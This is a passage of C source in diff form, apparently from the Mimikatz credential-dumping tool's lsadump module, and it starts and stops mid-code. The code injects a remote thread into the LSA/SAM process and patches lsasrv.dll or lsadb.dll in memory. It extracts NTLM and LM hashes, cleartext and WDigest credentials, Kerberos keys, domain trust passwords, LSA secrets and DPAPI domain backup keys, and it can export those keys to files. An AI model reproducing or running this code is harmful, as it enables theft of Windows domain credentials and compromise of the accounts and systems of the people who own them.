kuhl_sekurlsa_samsrv_thread_end - (PBYTE) kuhl_sekurlsa_samsrv_thread), &extForCb, &aRemoteFunc)) + aRemoteThread = &aRemoteFunc; + else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n"); + } + } + RtlZeroMemory(&objectAttributes, sizeof(LSA_OBJECT_ATTRIBUTES)); + if(NT_SUCCESS(LsaOpenPolicy(NULL, &objectAttributes, POLICY_VIEW_LOCAL_INFORMATION, &hPolicy))) + { + if(NT_SUCCESS(LsaQueryInformationPolicy(hPolicy, PolicyAccountDomainInformation, (PVOID *) &pPolicyDomainInfo))) + { + status = SamConnect(NULL, &hSam, 0x000F003F, FALSE); + if(NT_SUCCESS(status)) + { + status = SamOpenDomain(hSam, 0x705, pPolicyDomainInfo->DomainSid, &hDomain); + if(NT_SUCCESS(status)) + { + kprintf(L"Domain : %wZ / ", &pPolicyDomainInfo->DomainName); + kull_m_string_displaySID(pPolicyDomainInfo->DomainSid); + kprintf(L"\n"); + + if(kull_m_string_args_byName(argc, argv, L"id", &szRid, NULL)) + { + if(rid = wcstoul(szRid, NULL, 0)) + { + status = SamLookupIdsInDomain(hDomain, 1, &rid, &puName, &pUse); + if(NT_SUCCESS(status)) + { + kuhl_m_lsadump_lsa_user(hDomain, pPolicyDomainInfo->DomainSid, rid, puName, aRemoteThread); + SamFreeMemory(puName); + SamFreeMemory(pUse); + } else PRINT_ERROR(L"SamLookupIdsInDomain %08x\n", status); + } + else PRINT_ERROR(L"\'%s\' is not a valid Id\n", szRid); + + } + else if(kull_m_string_args_byName(argc, argv, L"name", &szName, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szName, NULL)) + { + RtlInitUnicodeString(&uName, szName); + status = SamLookupNamesInDomain(hDomain, 1, &uName, &pRid, &pUse); + if(NT_SUCCESS(status)) + { + kuhl_m_lsadump_lsa_user(hDomain, pPolicyDomainInfo->DomainSid, *pRid, &uName, aRemoteThread); + SamFreeMemory(pRid); + SamFreeMemory(pUse); + } else PRINT_ERROR(L"SamLookupNamesInDomain %08x\n", status); + } + else + { + do + { + enumStatus = SamEnumerateUsersInDomain(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned); + if(NT_SUCCESS(enumStatus) || enumStatus == STATUS_MORE_ENTRIES) + { + for(i = 0; i < CountRetourned; i++) + kuhl_m_lsadump_lsa_user(hDomain, pPolicyDomainInfo->DomainSid, pEnumBuffer[i].RelativeId, &pEnumBuffer[i].Name, aRemoteThread); + SamFreeMemory(pEnumBuffer); + } else PRINT_ERROR(L"SamEnumerateUsersInDomain %08x\n", enumStatus); + } while(enumStatus == STATUS_MORE_ENTRIES); + } + SamCloseHandle(hDomain); + } else PRINT_ERROR(L"SamOpenDomain %08x\n", status); + SamCloseHandle(hSam); + } else PRINT_ERROR(L"SamConnect %08x\n", status); + LsaFreeMemory(pPolicyDomainInfo); + } + LsaClose(hPolicy); + } + + if(aRemoteThread) + kull_m_memory_free(aRemoteThread); + } + + if(hMemory) + { + if(hMemory->pHandleProcess->hProcess) + CloseHandle(hMemory->pHandleProcess->hProcess); + kull_m_memory_close(hMemory); + } + return status; +} + +BOOL kuhl_m_lsadump_lsa_getHandle(PKULL_M_MEMORY_HANDLE * hMemory, DWORD Flags) +{ + BOOL success = FALSE; + SERVICE_STATUS_PROCESS ServiceStatusProcess; + HANDLE hProcess; + + if(kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess)) + { + if(hProcess = OpenProcess(Flags, FALSE, ServiceStatusProcess.dwProcessId)) + { + if(!(success = kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, hMemory))) + CloseHandle(hProcess); + } + else PRINT_ERROR_AUTO(L"OpenProcess"); + } + else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); + return success; +} + + +void kuhl_m_lsadump_lsa_user(SAMPR_HANDLE DomainHandle, PSID DomainSid, DWORD rid, PUNICODE_STRING name, PKULL_M_MEMORY_ADDRESS aRemoteThread) +{ + SAMPR_HANDLE hUser; + PSAMPR_USER_INFO_BUFFER pUserInfoBuffer; + NTSTATUS status; + DWORD BufferSize = 0, i; + PLSA_SUPCREDENTIALS pCreds = NULL; + PLSA_SUPCREDENTIAL pCred; + PREMOTE_LIB_INPUT_DATA iData; + REMOTE_LIB_OUTPUT_DATA oData; + + kprintf(L"\nRID : %08x (%u)\nUser : %wZ\n", rid, rid, name); + + if(!aRemoteThread) + { + status = SamOpenUser(DomainHandle, 0x31b, rid, &hUser); + if(NT_SUCCESS(status)) + { + status = SamQueryInformationUser(hUser, UserInternal1Information, &pUserInfoBuffer); + if(NT_SUCCESS(status)) + { + kprintf(L"LM : "); + if(pUserInfoBuffer->Internal1.LmPasswordPresent) + kull_m_string_wprintf_hex(pUserInfoBuffer->Internal1.LMHash, LM_NTLM_HASH_LENGTH, 0); + kprintf(L"\nNTLM : "); + if(pUserInfoBuffer->Internal1.NtPasswordPresent) + kull_m_string_wprintf_hex(pUserInfoBuffer->Internal1.NTHash, LM_NTLM_HASH_LENGTH, 0); + kprintf(L"\n"); + SamFreeMemory(pUserInfoBuffer); + } else PRINT_ERROR(L"SamQueryInformationUser %08x\n", status); + SamCloseHandle(hUser); + } else PRINT_ERROR(L"SamOpenUser %08x\n", status); + } + else + { + if(iData = kull_m_remotelib_CreateInput(NULL, rid, GetLengthSid(DomainSid), DomainSid)) + { + if(kull_m_remotelib_create(aRemoteThread, iData, &oData)) + { + if(pCreds = (PLSA_SUPCREDENTIALS) oData.outputData) + { + for(i = 0; i < pCreds->count; i++) + { + pCred = ((PLSA_SUPCREDENTIAL) ((PBYTE) pCreds + sizeof(LSA_SUPCREDENTIALS))) + i; + if(pCred->offset && pCred->size) + kuhl_m_lsadump_lsa_DescrBuffer(pCred->type, rid, (PBYTE) pCreds + pCred->offset, pCred->size); + } + LocalFree(pCreds); + } + } + LocalFree(iData); + } + } +} + +PCWCHAR KUHL_M_LSADUMP_SAMRPC_SUPPCRED_TYPE[] = {L"Primary", L"CLEARTEXT", L"WDigest", L"Kerberos", L"Kerberos-Newer-Keys", L"NTLM-Strong-NTOWF"}; +void kuhl_m_lsadump_lsa_DescrBuffer(DWORD type, DWORD rid, PVOID Buffer, DWORD BufferSize) +{ + DWORD i; + PWDIGEST_CREDENTIALS pWDigest; + PKERB_STORED_CREDENTIAL pKerb; + PKERB_KEY_DATA pKeyData; + PKERB_STORED_CREDENTIAL_NEW pKerbNew; + PKERB_KEY_DATA_NEW pKeyDataNew; + PKIWI_SAMPR_USER_INTERNAL42_INFORMATION pUserInfos; + PKIWI_LSA_PRIVATE_DATA pData; + + kprintf(L"\n * %s\n", (type < ARRAYSIZE(KUHL_M_LSADUMP_SAMRPC_SUPPCRED_TYPE)) ? KUHL_M_LSADUMP_SAMRPC_SUPPCRED_TYPE[type] : L"unknown"); + switch(type) + { + case 0: + pUserInfos = (PKIWI_SAMPR_USER_INTERNAL42_INFORMATION) Buffer; + kprintf(L" NTLM : "); + if(pUserInfos->Internal1.NtPasswordPresent) + kull_m_string_wprintf_hex(pUserInfos->Internal1.NTHash, LM_NTLM_HASH_LENGTH, 0); + kprintf(L"\n LM : "); + if(pUserInfos->Internal1.LmPasswordPresent) + kull_m_string_wprintf_hex(pUserInfos->Internal1.LMHash, LM_NTLM_HASH_LENGTH, 0); + kprintf(L"\n"); + if(pUserInfos->cbPrivate) + { + pData = (PKIWI_LSA_PRIVATE_DATA) pUserInfos->Private; + if(pData->NtLength) + kuhl_m_lsadump_dcsync_decrypt(pData->NtHash, LM_NTLM_HASH_LENGTH, rid, L"NTLM", FALSE); + if(pData->NtHistoryLength) + kuhl_m_lsadump_dcsync_decrypt(pData->Data, pData->NtHistoryLength, rid, L"ntlm", TRUE); + if(pData->LmLength) + kuhl_m_lsadump_dcsync_decrypt(pData->LmHash, LM_NTLM_HASH_LENGTH, rid, L"LM ", FALSE); + if(pData->LmHistoryLength) + kuhl_m_lsadump_dcsync_decrypt(pData->Data + pData->NtHistoryLength, pData->LmHistoryLength, rid, L"lm ", TRUE); + } + break; + case 1: + kprintf(L" %.*s\n", BufferSize / sizeof(wchar_t), Buffer); + break; + case 2: + pWDigest = (PWDIGEST_CREDENTIALS) Buffer; + for(i = 0; i < pWDigest->NumberOfHashes; i++) + { + kprintf(L" %02u ", i + 1); + kull_m_string_wprintf_hex(pWDigest->Hash[i], MD5_DIGEST_LENGTH, 0); + kprintf(L"\n"); + } + break; + case 3: + pKerb = (PKERB_STORED_CREDENTIAL) Buffer; + kprintf(L" Default Salt : %.*s\n", pKerb->DefaultSaltLength / sizeof(wchar_t), (PBYTE) pKerb + pKerb->DefaultSaltOffset); + pKeyData = (PKERB_KEY_DATA) ((PBYTE) pKerb + sizeof(KERB_STORED_CREDENTIAL)); + pKeyData = kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->CredentialCount, L"Credentials"); + kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->OldCredentialCount, L"OldCredentials"); + break; + case 4: + pKerbNew = (PKERB_STORED_CREDENTIAL_NEW) Buffer; + kprintf(L" Default Salt : %.*s\n Default Iterations : %u\n", pKerbNew->DefaultSaltLength / sizeof(wchar_t), (PBYTE) pKerbNew + pKerbNew->DefaultSaltOffset, pKerbNew->DefaultIterationCount); + pKeyDataNew = (PKERB_KEY_DATA_NEW) ((PBYTE) pKerbNew + sizeof(KERB_STORED_CREDENTIAL_NEW)); + pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->CredentialCount, L"Credentials"); + pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->ServiceCredentialCount, L"ServiceCredentials"); + pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OldCredentialCount, L"OldCredentials"); + kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OlderCredentialCount, L"OlderCredentials"); + break; + case 5: + kprintf(L" Random Value : "); + kull_m_string_wprintf_hex(Buffer, BufferSize, 0); + kprintf(L"\n"); + break; + default: + kull_m_string_wprintf_hex(Buffer, BufferSize, 1); + kprintf(L"\n"); + } +} + +PKERB_KEY_DATA kuhl_m_lsadump_lsa_keyDataInfo(PVOID base, PKERB_KEY_DATA keys, USHORT Count, PCWSTR title) +{ + USHORT i; + if(Count) + { + if(title) + kprintf(L" %s\n", title); + for(i = 0; i < Count; i++) + { + kprintf(L" %s : ", kuhl_m_kerberos_ticket_etype(keys[i].KeyType)); + kull_m_string_wprintf_hex((PBYTE) base + keys[i].KeyOffset, keys[i].KeyLength, 0); + kprintf(L"\n"); + } + } + return (PKERB_KEY_DATA) ((PBYTE) keys + Count * sizeof(KERB_KEY_DATA)); +} + +PKERB_KEY_DATA_NEW kuhl_m_lsadump_lsa_keyDataNewInfo(PVOID base, PKERB_KEY_DATA_NEW keys, USHORT Count, PCWSTR title) +{ + USHORT i; + if(Count) + { + if(title) + kprintf(L" %s\n", title); + for(i = 0; i < Count; i++) + { + kprintf(L" %s (%u) : ", kuhl_m_kerberos_ticket_etype(keys[i].KeyType), keys->IterationCount); + kull_m_string_wprintf_hex((PBYTE) base + keys[i].KeyOffset, keys[i].KeyLength, 0); + kprintf(L"\n"); + } + } + return (PKERB_KEY_DATA_NEW) ((PBYTE) keys + Count * sizeof(KERB_KEY_DATA_NEW)); +} + +const wchar_t * TRUST_AUTH_TYPE[] = { + L"NONE ", + L"NT4OWF ", + L"CLEAR ", + L"VERSION", +}; +DECLARE_UNICODE_STRING(uKrbtgt, L"krbtgt"); +void kuhl_m_lsadump_trust_authinformation(PLSA_AUTH_INFORMATION info, DWORD count, PNTDS_LSA_AUTH_INFORMATION infoNtds, PCWSTR prefix, PCUNICODE_STRING from, PCUNICODE_STRING dest) +{ + DWORD i, j; + UNICODE_STRING dst, password; + LONG kerbType[] = {KERB_ETYPE_AES256_CTS_HMAC_SHA1_96, KERB_ETYPE_AES128_CTS_HMAC_SHA1_96, KERB_ETYPE_RC4_HMAC_NT}; + + kprintf(L" [%s] %wZ -> %wZ\n", prefix, from, dest); + if(info) + { + for(i = 0; i < count; i++) + { + kprintf(L" * "); kull_m_string_displayLocalFileTime((PFILETIME) &info[i].LastUpdateTime); + kprintf((info[i].AuthType < ARRAYSIZE(TRUST_AUTH_TYPE)) ? L" - %s - " : L"- %u - ", (info[i].AuthType < ARRAYSIZE(TRUST_AUTH_TYPE)) ? TRUST_AUTH_TYPE[info[i].AuthType] : L"unknown?"); + kull_m_string_wprintf_hex(info[i].AuthInfo, info[i].AuthInfoLength, 1); kprintf(L"\n"); + + if(info[i].AuthType == TRUST_AUTH_TYPE_CLEAR) + { + dst.Length = 0; + dst.MaximumLength = from->Length + uKrbtgt.Length + dest->Length; + if(dst.Buffer = (PWSTR) LocalAlloc(LPTR, dst.MaximumLength)) + { + RtlAppendUnicodeStringToString(&dst, from); + RtlAppendUnicodeStringToString(&dst, &uKrbtgt); + RtlAppendUnicodeStringToString(&dst, dest); + password.Length = password.MaximumLength = (USHORT) info[i].AuthInfoLength; + password.Buffer = (PWSTR) info[i].AuthInfo; + for(j = 0; j < ARRAYSIZE(kerbType); j++) + kuhl_m_kerberos_hash_data(kerbType[j], &password, &dst, 4096); + LocalFree(dst.Buffer); + } + } + } + } + else if(infoNtds) + { + kprintf(L" * "); kull_m_string_displayLocalFileTime((PFILETIME) &infoNtds->LastUpdateTime); + kprintf((infoNtds->AuthType < ARRAYSIZE(TRUST_AUTH_TYPE)) ? L" - %s - " : L"- %u - ", (infoNtds->AuthType < ARRAYSIZE(TRUST_AUTH_TYPE)) ? TRUST_AUTH_TYPE[infoNtds->AuthType] : L"unknown?"); + kull_m_string_wprintf_hex(infoNtds->AuthInfo, infoNtds->AuthInfoLength, 1); kprintf(L"\n"); + + if(infoNtds->AuthType == TRUST_AUTH_TYPE_CLEAR) + { + dst.Length = 0; + dst.MaximumLength = from->Length + uKrbtgt.Length + dest->Length; + if(dst.Buffer = (PWSTR) LocalAlloc(LPTR, dst.MaximumLength)) + { + RtlAppendUnicodeStringToString(&dst, from); + RtlAppendUnicodeStringToString(&dst, &uKrbtgt); + RtlAppendUnicodeStringToString(&dst, dest); + password.Length = password.MaximumLength = (USHORT) infoNtds->AuthInfoLength; + password.Buffer = (PWSTR) infoNtds->AuthInfo; + for(j = 0; j < ARRAYSIZE(kerbType); j++) + kuhl_m_kerberos_hash_data(kerbType[j], &password, &dst, 4096); + LocalFree(dst.Buffer); + } + } + } + kprintf(L"\n"); +} + +BYTE PATC_WALL_LsaDbrQueryInfoTrustedDomain[] = {0xeb}; +#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 +BYTE PTRN_WALL_LsaDbrQueryInfoTrustedDomain[] = {0xbb, 0x03, 0x00, 0x00, 0xc0, 0xe9}; +KULL_M_PATCH_GENERIC QueryInfoTrustedDomainReferences[] = { + {KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WALL_LsaDbrQueryInfoTrustedDomain), PTRN_WALL_LsaDbrQueryInfoTrustedDomain}, {sizeof(PATC_WALL_LsaDbrQueryInfoTrustedDomain), PATC_WALL_LsaDbrQueryInfoTrustedDomain}, {-11}}, +}; +#elif defined(_M_IX86) +BYTE PTRN_WALL_LsaDbrQueryInfoTrustedDomain[] = {0xc7, 0x45, 0xfc, 0x03, 0x00, 0x00, 0xc0, 0xe9}; +KULL_M_PATCH_GENERIC QueryInfoTrustedDomainReferences[] = { + {KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WALL_LsaDbrQueryInfoTrustedDomain), PTRN_WALL_LsaDbrQueryInfoTrustedDomain}, {sizeof(PATC_WALL_LsaDbrQueryInfoTrustedDomain), PATC_WALL_LsaDbrQueryInfoTrustedDomain}, {-10}}, +}; +#endif +NTSTATUS kuhl_m_lsadump_trust(int argc, wchar_t * argv[]) +{ + LSA_HANDLE hLSA; + LSA_ENUMERATION_HANDLE hLSAEnum = 0; + LSA_OBJECT_ATTRIBUTES oaLsa = {0}; + NTSTATUS statusEnum, status; + PPOLICY_DNS_DOMAIN_INFO pDomainInfo; + PTRUSTED_DOMAIN_INFORMATION_EX domainInfoEx; + PTRUSTED_DOMAIN_AUTH_INFORMATION authinfos = NULL; + DWORD i, returned; + + PKULL_M_PATCH_GENERIC currentReference; + PKULL_M_MEMORY_HANDLE hMemory = NULL; + KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModule; + KULL_M_MEMORY_ADDRESS aPatternMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aPatchMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; + KULL_M_MEMORY_SEARCH sMemory; + LPCWSTR szSystem = NULL; + UNICODE_STRING uSystem; + + static BOOL isPatching = FALSE; + + if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL)) + RtlInitUnicodeString(&uSystem, szSystem); + + if(!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL)) + { + if(currentReference = kull_m_patch_getGenericFromBuild(QueryInfoTrustedDomainReferences, ARRAYSIZE(QueryInfoTrustedDomainReferences), MIMIKATZ_NT_BUILD_NUMBER)) + { + aPatternMemory.address = currentReference->Search.Pattern; + aPatchMemory.address = currentReference->Patch.Pattern; + + if(kuhl_m_lsadump_lsa_getHandle(&hMemory, PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION)) + { + if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8) ? L"lsasrv.dll" : L"lsadb.dll", &iModule)) + { + sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModule.DllBase; + sMemory.kull_m_memoryRange.size = iModule.SizeOfImage; + isPatching = TRUE; + if(!kull_m_patch(&sMemory, &aPatternMemory, currentReference->Search.Length, &aPatchMemory, currentReference->Patch.Length, currentReference->Offsets.off0, kuhl_m_lsadump_trust, argc, argv, NULL)) + PRINT_ERROR_AUTO(L"kull_m_patch"); + isPatching = FALSE; + } + else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); + } + } + } + else + { + if(NT_SUCCESS(LsaOpenPolicy(szSystem ? &uSystem : NULL, &oaLsa, POLICY_VIEW_LOCAL_INFORMATION, &hLSA))) + { + status = LsaQueryInformationPolicy(hLSA, PolicyDnsDomainInformation, (PVOID *) &pDomainInfo); + if(NT_SUCCESS(status)) + { + RtlUpcaseUnicodeString(&pDomainInfo->DnsDomainName, &pDomainInfo->DnsDomainName, FALSE); + kprintf(L"\nCurrent domain: %wZ (%wZ", &pDomainInfo->DnsDomainName, &pDomainInfo->Name); + if(pDomainInfo->Sid) + kprintf(L" / "); kull_m_string_displaySID(pDomainInfo->Sid); + kprintf(L")\n"); + + for( + hLSAEnum = 0, statusEnum = LsaEnumerateTrustedDomainsEx(hLSA, &hLSAEnum, (PVOID *) &domainInfoEx, 0, &returned); + returned && ((statusEnum == STATUS_SUCCESS) || (statusEnum == STATUS_MORE_ENTRIES)); + statusEnum = LsaEnumerateTrustedDomainsEx(hLSA, &hLSAEnum, (PVOID *) &domainInfoEx, 0, &returned) + ) + { + for(i = 0; i < returned; i++) + { + RtlUpcaseUnicodeString(&domainInfoEx[i].Name, &domainInfoEx[i].Name, FALSE); + kprintf(L"\nDomain: %wZ (%wZ", &domainInfoEx[i].Name, &domainInfoEx[i].FlatName); + if(domainInfoEx[i].Sid) + kprintf(L" / "); kull_m_string_displaySID(domainInfoEx[i].Sid); + kprintf(L")\n"); + + status = LsaQueryTrustedDomainInfoByName(hLSA, &domainInfoEx[i].Name, TrustedDomainAuthInformation, (PVOID *) &authinfos); + if(NT_SUCCESS(status)) + { + kuhl_m_lsadump_trust_authinformation(authinfos->IncomingAuthenticationInformation, authinfos->IncomingAuthInfos, NULL, L" In ", &pDomainInfo->DnsDomainName, &domainInfoEx[i].Name); + kuhl_m_lsadump_trust_authinformation(authinfos->OutgoingAuthenticationInformation, authinfos->OutgoingAuthInfos, NULL, L" Out ", &domainInfoEx[i].Name, &pDomainInfo->DnsDomainName); + kuhl_m_lsadump_trust_authinformation(authinfos->IncomingPreviousAuthenticationInformation, authinfos->IncomingAuthInfos, NULL, L" In-1", &pDomainInfo->DnsDomainName, &domainInfoEx[i].Name); + kuhl_m_lsadump_trust_authinformation(authinfos->OutgoingPreviousAuthenticationInformation, authinfos->OutgoingAuthInfos, NULL, L"Out-1", &domainInfoEx[i].Name, &pDomainInfo->DnsDomainName); + LsaFreeMemory(authinfos); + } + else PRINT_ERROR(L"LsaQueryTrustedDomainInfoByName %08x\n", status); + } + LsaFreeMemory(domainInfoEx); + } + if((statusEnum != STATUS_NO_MORE_ENTRIES) && (statusEnum != STATUS_SUCCESS)) + PRINT_ERROR(L"LsaEnumerateTrustedDomainsEx %08x\n", statusEnum); + + LsaFreeMemory(pDomainInfo); + } + LsaClose(hLSA); + } + } + return STATUS_SUCCESS; +} + +NTSTATUS kuhl_m_lsadump_LsaRetrievePrivateData(PCWSTR systemName, PCWSTR secretName, PUNICODE_STRING secret, BOOL isSecret) +{ + NTSTATUS status = STATUS_UNSUCCESSFUL; + LSA_OBJECT_ATTRIBUTES oa = {0}; + LSA_HANDLE hPolicy, hSecret; + UNICODE_STRING name, system, *cur, *old; + LARGE_INTEGER curDate, oldDate; + + if(secretName) + { + RtlInitUnicodeString(&name, secretName); + RtlInitUnicodeString(&system, systemName); + status = LsaOpenPolicy(&system, &oa, POLICY_GET_PRIVATE_INFORMATION, &hPolicy); + if(NT_SUCCESS(status)) + { + if(!isSecret) + { + status = LsaRetrievePrivateData(hPolicy, &name, &cur); + if(NT_SUCCESS(status)) + { + if(cur) + { + *secret = *cur; + if(secret->Buffer = (PWSTR) LocalAlloc(LPTR, secret->MaximumLength)) + RtlCopyMemory(secret->Buffer, cur->Buffer, secret->MaximumLength); + LsaFreeMemory(cur); + } + } + } + else + { + status = LsaOpenSecret(hPolicy, &name, SECRET_QUERY_VALUE, &hSecret); + if(NT_SUCCESS(status)) + { + status = LsaQuerySecret(hSecret, &cur, &curDate, &old, &oldDate); + if(NT_SUCCESS(status)) + { + if(cur) + { + *secret = *cur; + if(secret->Buffer = (PWSTR) LocalAlloc(LPTR, secret->MaximumLength)) + RtlCopyMemory(secret->Buffer, cur->Buffer, secret->MaximumLength); + LsaFreeMemory(cur); + } + if(old) + LsaFreeMemory(old); + } + LsaClose(hSecret); + } + } + LsaClose(hPolicy); + } + } + return status; +} + +void kuhl_m_lsadump_analyzeKey(LPCGUID guid, PKIWI_BACKUP_KEY secret, DWORD size, BOOL isExport) +{ + PVOID data; + DWORD len; + UNICODE_STRING uString; + PWCHAR filename = NULL, shortname; + + if(NT_SUCCESS(RtlStringFromGUID(guid, &uString))) + { + uString.Buffer[uString.Length / sizeof(wchar_t) - 1] = L'\0'; + shortname = uString.Buffer + 1; + switch(secret->version) + { + case 2: + kprintf(L" * RSA key\n"); + kuhl_m_dpapi_oe_domainkey_add(guid, secret->data, secret->keyLen, TRUE); + kuhl_m_crypto_exportRawKeyToFile(secret->data, secret->keyLen, FALSE, L"ntds", 0, shortname, isExport, TRUE); + if(isExport) + { + data = secret->data + secret->keyLen; + len = secret->certLen; + if(filename = kuhl_m_crypto_generateFileName(L"ntds", L"capi", 0, shortname, L"pfx")) + { + kprintf(L"\tPFX container : %s - \'%s\'\n", kull_m_crypto_DerAndKeyToPfx(data, len, secret->data, secret->keyLen, FALSE, filename) ? L"OK" : L"KO", filename); + LocalFree(filename); + } + filename = kuhl_m_crypto_generateFileName(L"ntds", L"capi", 0, shortname, L"der"); + } + break; + case 1: + kprintf(L" * Legacy key\n"); + kuhl_m_dpapi_oe_domainkey_add(guid, (PBYTE) secret + sizeof(DWORD), size - sizeof(DWORD), FALSE); + kull_m_string_wprintf_hex((PBYTE) secret + sizeof(DWORD), size - sizeof(DWORD), (32 << 16)); + kprintf(L"\n"); + if(isExport) + { + filename = kuhl_m_crypto_generateFileName(L"ntds", L"legacy", 0, shortname, L"key"); + data = (PBYTE) secret + sizeof(DWORD); + len = size - sizeof(DWORD); + } + break; + default: + kprintf(L" * Unknown key (seen as %08x)\n", secret->version); + kull_m_string_wprintf_hex(secret, size, (32 << 16)); + kprintf(L"\n"); + if(isExport) + { + filename = kuhl_m_crypto_generateFileName(L"ntds", L"unknown", 0, shortname, L"key"); + data = secret; + len = size; + } + } + if(filename) + { + if(data && len) + kprintf(L"\tExport : %s - \'%s\'\n", kull_m_file_writeData(filename, data, len) ? L"OK" : L"KO", filename); + LocalFree(filename); + } + RtlFreeUnicodeString(&uString); + } +} + +NTSTATUS kuhl_m_lsadump_getKeyFromGUID(LPCGUID guid, BOOL isExport, LPCWSTR systemName, BOOL isSecret) +{ + NTSTATUS status = STATUS_UNSUCCESSFUL; + UNICODE_STRING secret; + wchar_t keyName[48+1] = L"G$BCKUPKEY_"; + keyName[48] = L'\0'; + + if(NT_SUCCESS(RtlStringFromGUID(guid, &secret))) + { + RtlCopyMemory(keyName + 11, secret.Buffer + 1, 36 * sizeof(wchar_t)); + RtlFreeUnicodeString(&secret); + + status = kuhl_m_lsadump_LsaRetrievePrivateData(systemName, keyName, &secret, isSecret); + if(NT_SUCCESS(status)) + { + kuhl_m_lsadump_analyzeKey(guid, (PKIWI_BACKUP_KEY) secret.Buffer, secret.Length, isExport); + LocalFree(secret.Buffer); + } + else PRINT_ERROR(L"kuhl_m_lsadump_LsaRetrievePrivateData: 0x%08x\n", status); + } + return status; +} + +NTSTATUS kuhl_m_lsadump_bkey(int argc, wchar_t * argv[]) +{ + NTSTATUS status; + UNICODE_STRING secret; + GUID guid; + PCWCHAR szGuid = NULL, szSystem = NULL; + BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); + BOOL isSecret = kull_m_string_args_byName(argc, argv, L"secret", NULL, NULL); + + kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL); + kull_m_string_args_byName(argc, argv, L"guid", &szGuid, NULL); + if(szGuid) + { + RtlInitUnicodeString(&secret, szGuid); + status = RtlGUIDFromString(&secret, &guid); + if(NT_SUCCESS(status)) + { + kprintf(L"\n"); kull_m_string_displayGUID(&guid); kprintf(L" seems to be a valid GUID\n"); + kuhl_m_lsadump_getKeyFromGUID(&guid, export, szSystem, isSecret); + } + else PRINT_ERROR(L"Invalid GUID (0x%08x) ; %s\n", status, szGuid); + } + else + { + kprintf(L"\nCurrent prefered key: "); + status = kuhl_m_lsadump_LsaRetrievePrivateData(szSystem, L"G$BCKUPKEY_PREFERRED", &secret, isSecret); + if(NT_SUCCESS(status)) + { + kull_m_string_displayGUID((LPCGUID) secret.Buffer); kprintf(L"\n"); + kuhl_m_lsadump_getKeyFromGUID((LPCGUID) secret.Buffer, export, szSystem, isSecret); + LocalFree(secret.Buffer); + } + else PRINT_ERROR(L"kuhl_m_lsadump_LsaRetrievePrivateData: 0x%08x\n", status); + + kprintf(L"\nCompatibility prefered key: "); + status = kuhl_m_lsadump_LsaRetrievePrivateData(szSystem, L"G$BCKUPKEY_P", &secret, isSecret); + if(NT_SUCCESS(status)) + { + kull_m_string_displayGUID((LPCGUID) secret.Buffer); kprintf(L"\n"); + kuhl_m_lsadump_getKeyFromGUID((LPCGUID) secret.Buffer, export, szSystem, isSecret); + LocalFree(secret.Buffer); + } + else PRINT_ERROR(L"kuhl_m_lsadump_LsaRetrievePrivateData: 0x%08x\n", status); + } + return STATUS_SUCCESS; +} + +NTSTATUS kuhl_m_lsadump_rpdata(int argc, wchar_t * argv[]) +{ + NTSTATUS status; + UNICODE_STRING secret; + LPCWSTR szName, szSystem = NULL; + BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); // todo + BOOL isSecret = kull_m_string_args_byName(argc, argv, L"secret", NULL, NULL); + if(kull_m_string_args_byName(argc, argv, L"name", &szName, NULL)) + { + kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL); + status = kuhl_m_lsadump_LsaRetrievePrivateData(szSystem, szName, &secret, isSecret); + if(NT_SUCCESS(status)) + { + kull_m_string_wprintf_hex(secret.Buffer, secret.Length, 1 | (16<<16)); + LocalFree(secret.Buffer); + } + else PRINT_ERROR(L"kuhl_m_lsadump_LsaRetrievePrivateData: 0x%08x\n", status); + } + return STATUS_SUCCESS; +} + +NETLOGON_SECURE_CHANNEL_TYPE kuhl_m_lsadump_netsync_sc[] = {WorkstationSecureChannel, ServerSecureChannel, TrustedDnsDomainSecureChannel, CdcServerSecureChannel}; +NTSTATUS kuhl_m_lsadump_netsync(int argc, wchar_t * argv[]) +{ + NTSTATUS status; + NETLOGON_CREDENTIAL ClientChallenge = {'-', '\\', '|', '/', '-', '\\', '|', '/'}, ServerChallenge, CandidateServerCredential, ClientCredential, ServerCredential; + NETLOGON_AUTHENTICATOR ClientAuthenticator, ServerAuthenticator; + BYTE ntlmHash[LM_NTLM_HASH_LENGTH], sessionKey[MD5_DIGEST_LENGTH]; + DWORD i = 0, NegotiateFlags = 0x600FFFFF; + MD5_CTX ctx; + ENCRYPTED_NT_OWF_PASSWORD EncryptedNewOwfPassword, EncryptedOldOwfPassword; + NT_OWF_PASSWORD NewOwfPassword, OldOwfPassword; + PCWCHAR szDc, szComputer, szUser, szNtlm, szAccount; + + if(kull_m_string_args_byName(argc, argv, L"dc", &szDc, NULL)) + { + if(kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL)) + { + kull_m_string_args_byName(argc, argv, L"account", 